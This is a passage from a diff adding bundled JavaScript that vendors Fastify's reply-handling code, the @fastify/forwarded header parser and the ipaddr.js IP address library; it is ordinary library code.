this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); + return serializeFn; + }; + Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + const possibleContentType = httpStatus; + let serialize2; + httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; + contentType = httpStatus && possibleContentType !== httpStatus ? possibleContentType : contentType; + if (httpStatus != null) { + if (contentType != null) { + serialize2 = this[kRouteContext][kSchemaResponse]?.[httpStatus]?.[contentType]; + } else { + serialize2 = this[kRouteContext][kSchemaResponse]?.[httpStatus]; + } + if (serialize2 == null) { + if (contentType) throw new FST_ERR_MISSING_CONTENTTYPE_SERIALIZATION_FN(httpStatus, contentType); + throw new FST_ERR_MISSING_SERIALIZATION_FN(httpStatus); + } + } else { + if (this[kRouteContext][kReplyCacheSerializeFns]?.has(schema)) { + serialize2 = this[kRouteContext][kReplyCacheSerializeFns].get(schema); + } else { + serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); + } + } + return serialize2(input); + }; + Reply.prototype.serialize = function(payload) { + if (this[kReplySerializer] !== null) { + return this[kReplySerializer](payload); + } else { + if (this[kRouteContext] && this[kRouteContext][kReplySerializerDefault]) { + return this[kRouteContext][kReplySerializerDefault](payload, this.raw.statusCode); + } else { + return serialize(this[kRouteContext], payload, this.raw.statusCode); + } + } + }; + Reply.prototype.serializer = function(fn) { + this[kReplySerializer] = fn; + return this; + }; + Reply.prototype.type = function(type) { + this[kReplyHeaders]["content-type"] = type; + return this; + }; + Reply.prototype.redirect = function(url2, code) { + if (!code) { + code = this[kReplyHasStatusCode] ? this.raw.statusCode : 302; + } + return this.header("location", url2).code(code).send(); + }; + Reply.prototype.callNotFound = function() { + notFound(this); + return this; + }; + Reply.prototype.then = function(fulfilled, rejected) { + if (this.sent) { + fulfilled(); + return; + } + eos(this.raw, (err) => { + if (err && err.code !== "ERR_STREAM_PREMATURE_CLOSE") { + if (rejected) { + rejected(err); + } else { + this.log && this.log.warn("unhandled rejection on reply.then"); + } + } else { + fulfilled(); + } + }); + }; + Reply.prototype.getDecorator = function(name) { + if (!decorators.hasKey(this, name) && !decorators.exist(this, name)) { + throw new FST_ERR_DEC_UNDECLARED(name, "reply"); + } + const decorator = this[name]; + if (typeof decorator === "function") { + return decorator.bind(this); + } + return decorator; + }; + function preSerializationHook(reply, payload) { + if (reply[kRouteContext].preSerialization !== null) { + preSerializationHookRunner( + reply[kRouteContext].preSerialization, + reply.request, + reply, + payload, + preSerializationHookEnd + ); + } else { + preSerializationHookEnd(null, void 0, reply, payload); + } + } + function preSerializationHookEnd(err, _request, reply, payload) { + if (err != null) { + onErrorHook(reply, err); + return; + } + try { + if (reply[kReplySerializer] !== null) { + payload = reply[kReplySerializer](payload); + } else if (reply[kRouteContext] && reply[kRouteContext][kReplySerializerDefault]) { + payload = reply[kRouteContext][kReplySerializerDefault](payload, reply.raw.statusCode); + } else { + payload = serialize(reply[kRouteContext], payload, reply.raw.statusCode, reply[kReplyHeaders]["content-type"]); + } + } catch (e) { + wrapSerializationError(e, reply); + onErrorHook(reply, e); + return; + } + onSendHook(reply, payload); + } + function wrapSerializationError(error51, reply) { + error51.serialization = reply[kRouteContext].config; + } + function onSendHook(reply, payload) { + if (reply[kRouteContext].onSend !== null) { + onSendHookRunner( + reply[kRouteContext].onSend, + reply.request, + reply, + payload, + wrapOnSendEnd + ); + } else { + onSendEnd(reply, payload); + } + } + function wrapOnSendEnd(err, request, reply, payload) { + if (err != null) { + onErrorHook(reply, err); + } else { + onSendEnd(reply, payload); + } + } + function safeWriteHead(reply, statusCode) { + const res = reply.raw; + try { + res.writeHead(statusCode, reply[kReplyHeaders]); + } catch (err) { + if (err.code === "ERR_HTTP_HEADERS_SENT") { + reply.log.warn(`Reply was already sent, did you forget to "return reply" in the "${reply.request.raw.url}" (${reply.request.raw.method}) route?`); + } + throw err; + } + } + function onSendEnd(reply, payload) { + const res = reply.raw; + const req = reply.request; + if (reply[kReplyTrailers] !== null) { + const trailerHeaders = Object.keys(reply[kReplyTrailers]); + let header = ""; + for (const trailerName of trailerHeaders) { + if (typeof reply[kReplyTrailers][trailerName] !== "function") continue; + header += " "; + header += trailerName; + } + if (header !== "") { + if (!isHttp2Reply(reply)) { + reply.header("Transfer-Encoding", "chunked"); + } + reply.header("Trailer", header.trim()); + } else { + reply[kReplyTrailers] = null; + } + } + if (payload != null && typeof payload === "object" && toString.call(payload) === "[object Response]") { + if (typeof payload.status === "number") { + reply.code(payload.status); + } + if (typeof payload.headers === "object" && typeof payload.headers.forEach === "function") { + for (const [headerName, headerValue] of payload.headers) { + reply.header(headerName, headerValue); + } + } + if (payload.body !== null) { + if (payload.bodyUsed) { + throw new FST_ERR_REP_RESPONSE_BODY_CONSUMED(); + } + } + payload = payload.body; + } + const statusCode = res.statusCode; + if (payload === void 0 || payload === null) { + if (statusCode >= 200 && statusCode !== 204 && statusCode !== 304 && req.method !== "HEAD" && reply[kReplyTrailers] === null) { + reply[kReplyHeaders]["content-length"] = "0"; + } + safeWriteHead(reply, statusCode); + sendTrailer(payload, res, reply); + return; + } + if (statusCode >= 100 && statusCode < 200 || statusCode === 204) { + reply.removeHeader("content-type"); + reply.removeHeader("content-length"); + safeWriteHead(reply, statusCode); + sendTrailer(void 0, res, reply); + if (typeof payload.resume === "function") { + payload.on("error", noop3); + payload.resume(); + } + return; + } + if (typeof payload.pipe === "function") { + sendStream(payload, res, reply); + return; + } + if (typeof payload.getReader === "function") { + sendWebStream(payload, res, reply); + return; + } + if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { + throw new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload); + } + if (reply[kReplyTrailers] === null) { + const contentLength = reply[kReplyHeaders]["content-length"]; + if (!contentLength || req.raw.method !== "HEAD" && Number(contentLength) !== Buffer.byteLength(payload)) { + reply[kReplyHeaders]["content-length"] = "" + Buffer.byteLength(payload); + } + } + safeWriteHead(reply, statusCode); + writePayload(payload, res, reply); + } + function isHttp2Reply(reply) { + return reply.request.raw?.httpVersionMajor === 2; + } + function writePayload(payload, res, reply) { + if (!isHttp2Reply(reply) || Buffer.byteLength(payload) <= HTTP2_WRITE_CHUNK_SIZE) { + if (reply[kReplyTrailers] === null) { + res.end(payload, null, null); + return; + } + res.write(payload); + sendTrailer(payload, res, reply); + return; + } + writeHttp2Payload(payload, res, () => { + sendTrailer(payload, res, reply); + }); + } + function writeHttp2Payload(payload, res, done) { + const buffer2 = Buffer.isBuffer(payload) ? payload : Buffer.from(payload); + let offset = 0; + function writeChunk() { + while (offset < buffer2.length) { + if (res.destroyed || res.writableEnded) { + return; + } + const end = Math.min(offset + HTTP2_WRITE_CHUNK_SIZE, buffer2.length); + const shouldContinue = res.write(buffer2.subarray(offset, end)); + offset = end; + if (shouldContinue === false) { + res.once("drain", writeChunk); + return; + } + } + done(); + } + writeChunk(); + } + function logStreamError(err, reply, res) { + reply.server[kLogController].streamError(err, reply.request, reply); + } + function sendWebStream(payload, res, reply) { + if (payload.locked) { + throw new FST_ERR_REP_READABLE_STREAM_LOCKED(); + } + let sourceOpen = true; + let errorLogged = false; + let waitingDrain = false; + const reader = payload.getReader(); + eos(res, function(err) { + if (sourceOpen) { + if (err != null && res.headersSent && !errorLogged) { + errorLogged = true; + logStreamError(err, reply, res); + } + reader.cancel().catch(noop3); + } + }); + if (!res.headersSent) { + for (const key in reply[kReplyHeaders]) { + res.setHeader(key, reply[kReplyHeaders][key]); + } + } else { + reply.log.warn("response will send, but you shouldn't use res.writeHead in stream mode"); + } + function onRead(result) { + if (result.done) { + sourceOpen = false; + sendTrailer(null, res, reply); + return; + } + if (res.destroyed) { + sourceOpen = false; + reader.cancel().catch(noop3); + return; + } + const shouldContinue = res.write(result.value); + if (shouldContinue === false) { + waitingDrain = true; + res.once("drain", onDrain); + return; + } + reader.read().then(onRead, onReadError); + } + function onDrain() { + if (!waitingDrain || !sourceOpen || res.destroyed) { + return; + } + waitingDrain = false; + reader.read().then(onRead, onReadError); + } + function onReadError(err) { + sourceOpen = false; + if (res.headersSent || reply.request.raw.aborted === true) { + if (!errorLogged) { + errorLogged = true; + logStreamError(err, reply, reply); + } + res.destroy(); + } else { + onErrorHook(reply, err); + } + } + reader.read().then(onRead, onReadError); + } + function sendStream(payload, res, reply) { + let sourceOpen = true; + let errorLogged = false; + sendStreamTrailer(payload, res, reply); + eos(payload, { readable: true, writable: false }, function(err) { + sourceOpen = false; + if (err != null) { + if (res.headersSent || reply.request.raw.aborted === true) { + if (!errorLogged) { + errorLogged = true; + logStreamError(err, reply, reply); + } + res.destroy(); + } else { + onErrorHook(reply, err); + } + } + }); + eos(res, function(err) { + if (sourceOpen) { + if (err != null && res.headersSent && !errorLogged) { + errorLogged = true; + logStreamError(err, reply, res); + } + if (typeof payload.destroy === "function") { + payload.destroy(); + } else if (typeof payload.close === "function") { + payload.close(noop3); + } else if (typeof payload.abort === "function") { + payload.abort(); + } else { + reply.log.warn("stream payload does not end properly"); + } + } + }); + if (!res.headersSent) { + for (const key in reply[kReplyHeaders]) { + res.setHeader(key, reply[kReplyHeaders][key]); + } + } else { + reply.log.warn("response will send, but you shouldn't use res.writeHead in stream mode"); + } + payload.pipe(res); + } + function sendTrailer(payload, res, reply) { + if (reply[kReplyTrailers] === null) { + res.end(null, null, null); + return; + } + const trailerHeaders = Object.keys(reply[kReplyTrailers]); + const trailers = {}; + let handled = 0; + let skipped = true; + let sent = false; + function send() { + if (handled === 0 && !sent) { + sent = true; + res.addTrailers(trailers); + res.end(null, null, null); + } + } + for (const trailerName of trailerHeaders) { + let cb = function(err, value) { + if (cbAlreadyCalled) return; + cbAlreadyCalled = true; + handled++; + if (err) reply.log.debug(err); + else trailers[trailerName] = value; + process.nextTick(send); + }; + if (typeof reply[kReplyTrailers][trailerName] !== "function") continue; + skipped = false; + handled--; + let cbAlreadyCalled = false; + const result = reply[kReplyTrailers][trailerName](reply, payload, cb); + if (typeof result === "object" && typeof result.then === "function") { + result.then((v) => cb(null, v), cb); + } + } + if (skipped) res.end(null, null, null); + } + function sendStreamTrailer(payload, res, reply) { + if (reply[kReplyTrailers] === null) return; + payload.on("end", () => sendTrailer(null, res, reply)); + } + function onErrorHook(reply, error51, cb) { + if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { + reply[kReplyIsRunningOnErrorHook] = true; + onSendHookRunner( + reply[kRouteContext].onError, + reply.request, + reply, + error51, + () => handleError(reply, error51, cb) + ); + } else { + handleError(reply, error51, cb); + } + } + function setupResponseListeners(reply) { + reply[kReplyStartTime] = now(); + const onResFinished = (err) => { + reply[kReplyEndTime] = now(); + reply.raw.removeListener("finish", onResFinished); + reply.raw.removeListener("error", onResFinished); + const ctx = reply[kRouteContext]; + if (reply.request[kRequestSignal]) { + clearTimeout(reply.request[kTimeoutTimer]); + reply.request[kTimeoutTimer] = null; + if (reply.request[kOnAbort]) { + reply.request.raw.removeListener("close", reply.request[kOnAbort]); + reply.request[kOnAbort] = null; + } + } + const socket = reply.request.raw.socket; + if (socket && socket._meta && socket._meta.request === reply.request) { + socket.removeListener("timeout", socket._meta.onTimeout); + socket._meta = null; + } + if (ctx && ctx.onResponse !== null) { + onResponseHookRunner( + ctx.onResponse, + reply.request, + reply, + onResponseCallback + ); + } else { + onResponseCallback(err, reply.request, reply); + } + }; + reply.raw.on("finish", onResFinished); + reply.raw.on("error", onResFinished); + } + function onResponseCallback(err, request, reply) { + reply.server[kLogController].requestCompleted(err, request, reply); + } + function buildReply(R) { + const props = R.props.slice(); + function _Reply(res, request, log) { + this.raw = res; + this[kReplyIsError] = false; + this[kReplyErrorHandlerCalled] = false; + this[kReplyHijacked] = false; + this[kReplySerializer] = null; + this.request = request; + this[kReplyHeaders] = {}; + this[kReplyTrailers] = null; + this[kReplyStartTime] = void 0; + this[kReplyEndTime] = void 0; + this.log = log; + let prop; + for (let i = 0; i < props.length; i++) { + prop = props[i]; + this[prop.key] = prop.value; + } + } + Object.setPrototypeOf(_Reply.prototype, R.prototype); + Object.setPrototypeOf(_Reply, R); + _Reply.parent = R; + _Reply.props = props; + return _Reply; + } + function notFound(reply) { + if (reply[kRouteContext][kFourOhFourContext] === null) { + reply.log.warn("Trying to send a NotFound error inside a 404 handler. Sending basic 404 response."); + reply.code(404).send("404 Not Found"); + return; + } + reply.request[kRouteContext] = reply[kRouteContext][kFourOhFourContext]; + if (reply[kRouteContext].preHandler !== null) { + preHandlerHookRunner( + reply[kRouteContext].preHandler, + reply.request, + reply, + internals.preHandlerCallback + ); + } else { + internals.preHandlerCallback(null, reply.request, reply); + } + } + function serialize(context2, data, statusCode, contentType) { + const fnSerialize = getSchemaSerializer(context2, statusCode, contentType); + if (fnSerialize) { + return fnSerialize(data); + } + return JSON.stringify(data); + } + function noop3() { + } + module.exports = Reply; + module.exports.buildReply = buildReply; + module.exports.setupResponseListeners = setupResponseListeners; + } +}); + +// node_modules/.pnpm/@fastify+forwarded@3.0.2/node_modules/@fastify/forwarded/index.js +var require_forwarded = __commonJS({ + "node_modules/.pnpm/@fastify+forwarded@3.0.2/node_modules/@fastify/forwarded/index.js"(exports, module) { + "use strict"; + function forwarded(req) { + if (!req) { + throw new TypeError("argument req is required"); + } + const header = req.headers["x-forwarded-for"]; + const socketAddr = req.socket.remoteAddress; + if (!header || typeof header !== "string") { + return [socketAddr]; + } else if (header.indexOf(",") === -1) { + const remote = header.trim(); + return remote.length ? [socketAddr, remote] : [socketAddr]; + } else { + return parse4(header, socketAddr); + } + } + function parse4(header, socketAddr) { + const result = [socketAddr]; + let end = header.length; + let start = end; + let char2; + let i; + for (i = end - 1; i >= 0; --i) { + char2 = header[i]; + if (char2 === " " || char2 === " ") { + start === end && (start = end = i); + } else if (char2 === ",") { + start !== end && result.push(header.slice(start, end)); + start = end = i; + } else { + start = i; + } + } + start !== end && result.push(header.substring(start, end)); + return result; + } + module.exports = forwarded; + module.exports.default = forwarded; + module.exports.forwarded = forwarded; + } +}); + +// node_modules/.pnpm/ipaddr.js@2.5.0/node_modules/ipaddr.js/lib/ipaddr.js +var require_ipaddr = __commonJS({ + "node_modules/.pnpm/ipaddr.js@2.5.0/node_modules/ipaddr.js/lib/ipaddr.js"(exports, module) { + (function(root) { + "use strict"; + const ipv4Part = "(0?\\d+|0x[a-f0-9]+)"; + const ipv4Regexes = { + fourOctet: new RegExp(`^${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}$`, "i"), + threeOctet: new RegExp(`^${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}$`, "i"), + twoOctet: new RegExp(`^${ipv4Part}\\.${ipv4Part}$`, "i"), + longValue: new RegExp(`^${ipv4Part}$`, "i") + }; + const octalRegex = new RegExp(`^0[0-7]+$`, "i"); + const hexRegex = new RegExp(`^0x[a-f0-9]+$`, "i"); + const zoneIndex = "%[0-9a-z]{1,}"; + const ipv6Part = "(?:[0-9a-f]+::?)+"; + const ipv6Regexes = { + zoneIndex: new RegExp(zoneIndex, "i"), + "native": new RegExp(`^(::)?(${ipv6Part})?([0-9a-f]+)?(::)?(${zoneIndex})?$`, "i"), + deprecatedTransitional: new RegExp(`^(?:::)(${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}(${zoneIndex})?)$`, "i"), + transitional: new RegExp(`^((?:${ipv6Part})|(?:::)(?:${ipv6Part})?)${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}\\.${ipv4Part}(${zoneIndex})?$`, "i") + }; + function expandIPv6(string4, parts) { + if (string4.indexOf("::") !== string4.lastIndexOf("::")) { + return null; + } + let colonCount = 0; + let lastColon = -1; + let zoneId = (string4.match(ipv6Regexes.zoneIndex) || [])[0]; + let replacement, replacementCount; + if (zoneId) { + zoneId = zoneId.substring(1); + string4 = string4.replace(/%.+$/, ""); + } + while ((lastColon = string4.indexOf(":", lastColon + 1)) >= 0) { + colonCount++; + } + if (string4.substr(0, 2) === "::") { + colonCount--; + } + if (string4.substr(-2, 2) === "::") { + colonCount--; + } + if (colonCount >= parts) { + return null; + } + replacementCount = parts - colonCount; + replacement = ":"; + while (replacementCount--) { + replacement += "0:"; + } + string4 = string4.replace("::", replacement); + if (string4[0] === ":") { + string4 = string4.slice(1); + } + if (string4[string4.length - 1] === ":") { + string4 = string4.slice(0, -1); + } + parts = function() { + const ref = string4.split(":"); + const results = []; + for (let i = 0; i < ref.length; i++) { + results.push(ref[i].length > 4 ? NaN : parseInt(ref[i], 16)); + } + return results; + }(); + return { + parts, + zoneId + }; + } + function matchCIDR(first, second, partSize, cidrBits) { + if (first.length !== second.length) { + throw new Error("ipaddr: cannot match CIDR for objects with different lengths"); + } + let part = 0; + let shift; + while (cidrBits > 0) { + shift = partSize - cidrBits; + if (shift < 0) { + shift = 0; + } + if (first[part] >> shift !== second[part] >> shift) { + return false; + } + cidrBits -= partSize; + part += 1; + } + return true; + } + function parseIntAuto(string4) { + if (hexRegex.test(string4)) { + return parseInt(string4, 16); + } + if (string4[0] === "0" && !isNaN(parseInt(string4[1], 10))) { + if (octalRegex.test(string4)) { + return parseInt(string4, 8); + } + throw new Error(`ipaddr: cannot parse ${string4} as octal`); + } + return parseInt(string4, 10); + } + function padPart(part, length) { + while (part.length < length) { + part = `0${part}`; + } + return part; + } + const ipaddr = {}; + ipaddr.IPv4 = function() { + function IPv4(octets) { + if (octets.length !== 4) { + throw new Error("ipaddr: ipv4 octet count should be 4"); + } + let i, octet; + for (i = 0; i < octets.length; i++) { + octet = octets[i]; + if (!(0 <= octet && octet <= 255)) { + throw new Error("ipaddr: ipv4 octet should fit in 8 bits"); + } + } + this.octets = octets; + } + IPv4.prototype.SpecialRanges = { + unspecified: [[new IPv4([0, 0, 0, 0]), 8]], + broadcast: [[new IPv4([255, 255, 255, 255]), 32]], + // RFC3171 + multicast: [[new IPv4([224, 0, 0, 0]), 4]], + // RFC3927 + linkLocal: [[new IPv4([169, 254, 0, 0]), 16]], + // RFC5735 + loopback: [[new IPv4([127, 0, 0, 0]), 8]], + // RFC6598 + carrierGradeNat: [[new IPv4([100, 64, 0, 0]), 10]], + // RFC1918 + "private": [ + [new IPv4([10, 0, 0, 0]), 8], + [new IPv4([172, 16, 0, 0]), 12], + [new IPv4([192, 168, 0, 0]), 16] + ], + // Reserved and testing-only ranges; RFCs 5735, 5737, 2544, 1700 + reserved: [ + [new IPv4([192, 0, 0, 0]), 24], + [new IPv4([192, 0, 2, 0]), 24], + [new IPv4([192, 88, 99, 0]), 24], + [new IPv4([198, 18, 0, 0]), 15], + [new IPv4([198, 51, 100, 0]), 24], + [new IPv4([203, 0, 113, 0]), 24], + [new IPv4([240, 0, 0, 0]), 4] + ], + // RFC7534, RFC7535 + as112: [ + [new IPv4([192, 175, 48, 0]), 24], + [new IPv4([192, 31, 196, 0]), 24] + ], + // RFC7450 + amt: [ + [new IPv4([192, 52, 193, 0]), 24] + ] + }; + IPv4.prototype.kind = function() { + return "ipv4"; + }; + IPv4.prototype.match = function(other, cidrRange) { + let ref; + if (cidrRange === void 0) { + ref = other; + other = ref[0]; + cidrRange = ref[1]; + } + if (other.kind() !== "ipv4") { + throw new Error("ipaddr: cannot match ipv4 address with non-ipv4 one"); + } + return matchCIDR(this.octets, other.octets, 8, cidrRange); + }; + IPv4.prototype.prefixLengthFromSubnetMask = function() { + let cidr2 = 0; + let stop = false; + const zerotable = { + 0: 8, + 128: 7, + 192: 6, + 224: 5, + 240: 4, + 248: 3, + 252: 2, + 254: 1, + 255: 0 + }; + let i, octet, zeros; + for (i = 3; i >= 0; i -= 1) { + octet = this.octets[i]; + if (octet in zerotable) { + zeros = zerotable[octet]; + if (stop && zeros !== 0) { + return null; + } + if (zeros !== 8) { + stop = true; + } + cidr2 += zeros; + } else { + return null; + } + } + return 32 - cidr2; + }; + IPv4.prototype.range = function() { + return ipaddr.subnetMatch(this, this.SpecialRanges); + }; + IPv4.prototype.toByteArray = function() { + return this.octets.slice(0); + }; + IPv4.prototype.toIPv4MappedAddress = function() { + return ipaddr.IPv6.parse(`::ffff:${this.toString()}`); + }; + IPv4.prototype.toNormalizedString = function() { + return this.toString(); + }; + IPv4.prototype.toString = function() { + return this.octets.join("."); + }; + return IPv4; + }(); + ipaddr.IPv4.broadcastAddressFromCIDR = function(string4) { + try { + const cidr2 = this.parseCIDR(string4); + const ipInterfaceOctets = cidr2[0].toByteArray(); + const subnetMaskOctets = this.subnetMaskFromPrefixLength(cidr2[1]).toByteArray(); + const octets = []; + let i = 0; + while (i < 4) { + octets.push(parseInt(ipInterfaceOctets[i], 10) | parseInt(subnetMaskOctets[i], 10) ^ 255); + i++; + } + return new this(octets); + } catch (e) { + throw new Error("ipaddr: the address does not have IPv4 CIDR format", { cause: e }); + } + }; + ipaddr.IPv4.isIPv4 = function(string4) { + return this.parser(string4) !== null; + }; + ipaddr.IPv4.isValid = function(string4) { + try { + new this(this.parser(string4)); + return true; + } catch { + return false; + } + }; + ipaddr.IPv4.isValidCIDR = function(string4) { + try { + this.parseCIDR(string4); + return true; + } catch { + return false; + } + }; + ipaddr.IPv4.isValidFourPartDecimal = function(string4) { + if (ipaddr.IPv4.isValid(string4) && string4.match(/^(0|[1-9]\d*)(\.(0|[1-9]\d*)){3}$/)) { + return true; + } else { + return false; + } + }; + ipaddr.IPv4.isValidCIDRFourPartDecimal = function(string4) { + const match = string4.match(/^(.+)\/(\d+)$/); + if (!ipaddr.IPv4.isValidCIDR(string4) || !match) { + return false; + } + return ipaddr.IPv4.isValidFourPartDecimal(match[1]); + }; + ipaddr.IPv4.networkAddressFromCIDR = function(string4) { + let cidr2, i, ipInterfaceOctets, octets, subnetMaskOctets; + try { + cidr2 = this.parseCIDR(string4); + ipInterfaceOctets = cidr2[0].toByteArray(); + subnetMaskOctets = this.subnetMaskFromPrefixLength(cidr2[1]).toByteArray(); + octets = []; + i = 0; + while (i < 4) { + octets.push(parseInt(ipInterfaceOctets[i], 10) & parseInt(subnetMaskOctets[i], 10)); + i++; + } + return new this(octets); + } catch (e) { + throw new Error("ipaddr: the address does not have IPv4 CIDR format", { cause: e }); + } + }; + ipaddr.IPv4.parse = function(string4) { + const parts = this.parser(string4); + if (parts === null) { + throw new Error("ipaddr: string is not formatted like an IPv4 Address"); + } + return new this(parts); + }; + ipaddr.IPv4.parseCIDR = function(string4) { + let match; + if (match = string4.match(/^(.+)\/(\d+)$/)) { + const maskLength = parseInt(match[2]); + if (maskLength >= 0 && maskLength <= 32) { + const parsed = [this.parse(match[1]), maskLength]; + Object.defineProperty(parsed, "toString", { + value: function() { + return this.join("/"); + } + }); + return parsed; + } + } + throw new Error("ipaddr: string is not formatted like an IPv4 CIDR range"); + }; + ipaddr.IPv4.parser = function(string4) { + let match, part, value; + if (match = string4.match(ipv4Regexes.fourOctet)) { + return function() { + const ref = match.slice(1, 6); + const results = []; + for (let i = 0; i < ref.length; i++) { + part = ref[i]; + results.push(parseIntAuto(part)); + } + return results; + }(); + } else if (match = string4.match(ipv4Regexes.longValue)) { + value = parseIntAuto(match[1]); + if (value > 4294967295 || value < 0) { + throw new Error("ipaddr: address outside defined range"); + } + return function() { + const results = []; + let shift; + for (shift = 0; shift <= 24; shift += 8) { + results.push(value >> shift & 255); + } + return results; + }().reverse(); + } else if (match = string4.match(ipv4Regexes.twoOctet)) { + return function() { + const ref = match.slice(1, 4); + const results = []; + value = parseIntAuto(ref[1]); + if (value > 16777215 || value < 0) { + throw new Error("ipaddr: address outside defined range"); + } + results.push(parseIntAuto(ref[0])); + results.push(value >> 16 & 255); + results.push(value >> 8 & 255); + results.push(value & 255); + return results; + }(); + } else if (match = string4.match(ipv4Regexes.threeOctet)) { + return function() { + const ref = match.slice(1, 5); + const results = []; + value = parseIntAuto(ref[2]); + if (value > 65535 || value < 0) { + throw new Error("ipaddr: address outside defined range"); + } + results.push(parseIntAuto(ref[0])); + results.push(parseIntAuto(ref[1])); + results.push(value >> 8 & 255); + results.push(value & 255); + return results; + }(); + } else { + return null; + } + }; + ipaddr.IPv4.subnetMaskFromPrefixLength = function(prefix) { + prefix = parseInt(prefix); + if (Number.isNaN(prefix) || prefix < 0 || prefix > 32) { + throw new Error("ipaddr: invalid IPv4 prefix length"); + } + const octets = [0, 0, 0, 0]; + let j = 0; + const filledOctetCount = Math.floor(prefix / 8); + while (j < filledOctetCount) { + octets[j] = 255; + j++; + } + if (filledOctetCount < 4) { + octets[filledOctetCount] = Math.pow(2, prefix % 8) - 1 << 8 - prefix % 8; + } + return new this(octets); + }; + ipaddr.IPv6 = function() { + function IPv6(parts, zoneId) { + let i, part; + if (parts.length === 16) { + this.parts = []; + for (i = 0; i <= 14; i += 2) { + this.parts.push(parts[i] << 8 | parts[i + 1]); + } + } else if (parts.length === 8) { + this.parts = parts; + } else { + throw new Error("ipaddr: ipv6 part count should be 8 or 16"); + } + for (i = 0; i < this.parts.length; i++) { + part = this.parts[i]; + if (!(0 <= part && part <= 65535)) { + throw new Error("ipaddr: ipv6 part should fit in 16 bits"); + } + } + if (zoneId) { + this.zoneId = zoneId; + } + } + IPv6.prototype.SpecialRanges = { + // RFC4291, here and after + unspecified: [new IPv6([0, 0, 0, 0, 0, 0, 0, 0]), 128], + linkLocal: [new IPv6([65152, 0, 0, 0, 0, 0, 0, 0]), 10], + multicast: [new IPv6([65280, 0, 0, 0, 0, 0, 0, 0]), 8], + loopback: [new IPv6([0, 0, 0, 0, 0, 0, 0, 1]), 128], + uniqueLocal: [new IPv6([64512, 0, 0, 0, 0, 0, 0, 0]), 7], + ipv4Mapped: [new IPv6([0, 0, 0, 0, 0, 65535, 0, 0]), 96], + // RFC3879 + deprecatedSiteLocal: [new IPv6([65216, 0, 0, 0, 0, 0, 0, 0]), 10], + // RFC6666 + discard: [new IPv6([256, 0, 0, 0, 0, 0, 0, 0]), 64], + // RFC6145 + rfc6145: [new IPv6([0, 0, 0, 0, 65535, 0, 0, 0]), 96], + rfc6052: [ + // RFC6052 + [new IPv6([100, 65435, 0, 0, 0, 0, 0, 0]), 96], + // RFC8215 + [new IPv6([100, 65435, 1, 0, 0, 0, 0, 0]), 48] + ], + // RFC3056 + "6to4": [new IPv6([8194, 0, 0, 0, 0, 0, 0, 0]), 16], + // RFC6052, RFC6146 + teredo: [new IPv6([8193, 0, 0, 0, 0, 0, 0, 0]), 32], + // RFC5180 + benchmarking: [new IPv6([8193, 2, 0, 0, 0, 0, 0, 0]), 48], + // RFC7450 + amt: [new IPv6([8193, 3, 0, 0, 0, 0, 0, 0]), 32], + as112v6: [ + // RFC7535 + [new IPv6([8193, 4, 274, 0, 0, 0, 0, 0]), 48], + // RFC7534 + [new IPv6([9760, 79, 32768, 0, 0, 0, 0, 0]), 48] + ], + // RFC4843 + deprecatedOrchid: [new IPv6([8193, 16, 0, 0, 0, 0, 0, 0]), 28], + // RFC7343 + orchid2: [new IPv6([8193, 32, 0, 0, 0, 0, 0, 0]), 28], + // RFC9374 + droneRemoteIdProtocolEntityTags: [new IPv6([8193, 48, 0, 0, 0, 0, 0, 0]), 28], + // RFC9602 + segmentRouting: [new IPv6([24320, 0, 0, 0, 0, 0, 0, 0]), 16], + reserved: [ + // RFC3849 + [new IPv6([8193, 0, 0, 0, 0, 0, 0, 0]), 23], + // RFC2928 + [new IPv6([8193, 3512, 0, 0, 0, 0, 0, 0]), 32], + // RFC9637 + [new IPv6([16383, 0, 0, 0, 0, 0, 0, 0]), 20] + ] + }; + IPv6.prototype.isIPv4MappedAddress = function() { + return this.range() === "ipv4Mapped"; + }; + IPv6.prototype.kind = function() { + return "ipv6"; + }; + IPv6.prototype.match = function(other, cidrRange) { + let ref; + if (cidrRange === void 0) { + ref = other; + other = ref[0]; + cidrRange = ref[1]; + } + if (other.kind() !== "ipv6") { + throw new Error("ipaddr: cannot match ipv6 address with non-ipv6 one"); + } + return matchCIDR(this.parts, other.parts, 16, cidrRange); + }; + IPv6.prototype.prefixLengthFromSubnetMask = function() { + let cidr2 = 0; + let stop = false; + const zerotable = { + 0: 16, + 32768: 15, + 49152: 14, + 57344: 13, + 61440: 12, + 63488: 11, + 64512: 10, + 65024: 9, + 65280: 8, + 65408: 7, + 65472: 6, + 65504: 5, + 65520: 4, + 65528: 3, + 65532: 2, + 65534: 1, + 65535: 0 + }; + let part, zeros; + for (let i = 7; i >= 0; i -= 1) { + part = this.parts[i]; + if (part in zerotable) { + zeros = zerotable[part]; + if (stop && zeros !== 0) { + return null; + } + if (zeros !== 16) { + stop = true; + } + cidr2 += zeros; + } else { + return null; + } + } + return 128 - cidr2; + }; + IPv6.prototype.range = function() { + return ipaddr.subnetMatch(this, this.SpecialRanges); + }; + IPv6.prototype.toByteArray = function() { + let part; + const bytes = []; + const ref = this.parts; + for (let i = 0; i < ref.length; i++) { + part = ref[i]; + bytes.push(part >> 8); + bytes.push(part & 255); + } + return bytes; + }; + IPv6.prototype.toFixedLengthString = function() { + const addr = function() { + const results = []; + for (let i = 0; i < this.parts.length; i++) { + results.push(padPart(this.parts[i].toString(16), 4)); + } + return results; + }.call(this).join(":"); + let suffix = ""; + if (this.zoneId) { + suffix = `%${this.zoneId}`; + } + return addr + suffix; + }; + IPv6.prototype.toIPv4Address = function() { + if (!this.isIPv4MappedAddress()) { + throw new Error("ipaddr: trying to convert a generic ipv6 address to ipv4"); + } + const ref = this.parts.slice(-2); + const high = ref[0]; + const low = ref[1]; + return new ipaddr.IPv4([high >> 8, high & 255, low >> 8, low & 255]); + }; + IPv6.prototype.toNormalizedString = function() { + const addr = function() { + const results = []; + for (let i = 0; i < this.parts.length; i++) { + results.push(this.parts[i].toString(16)); + } + return results; + }.call(this).join(":"); + let suffix = ""; + if (this.zoneId) { + suffix = 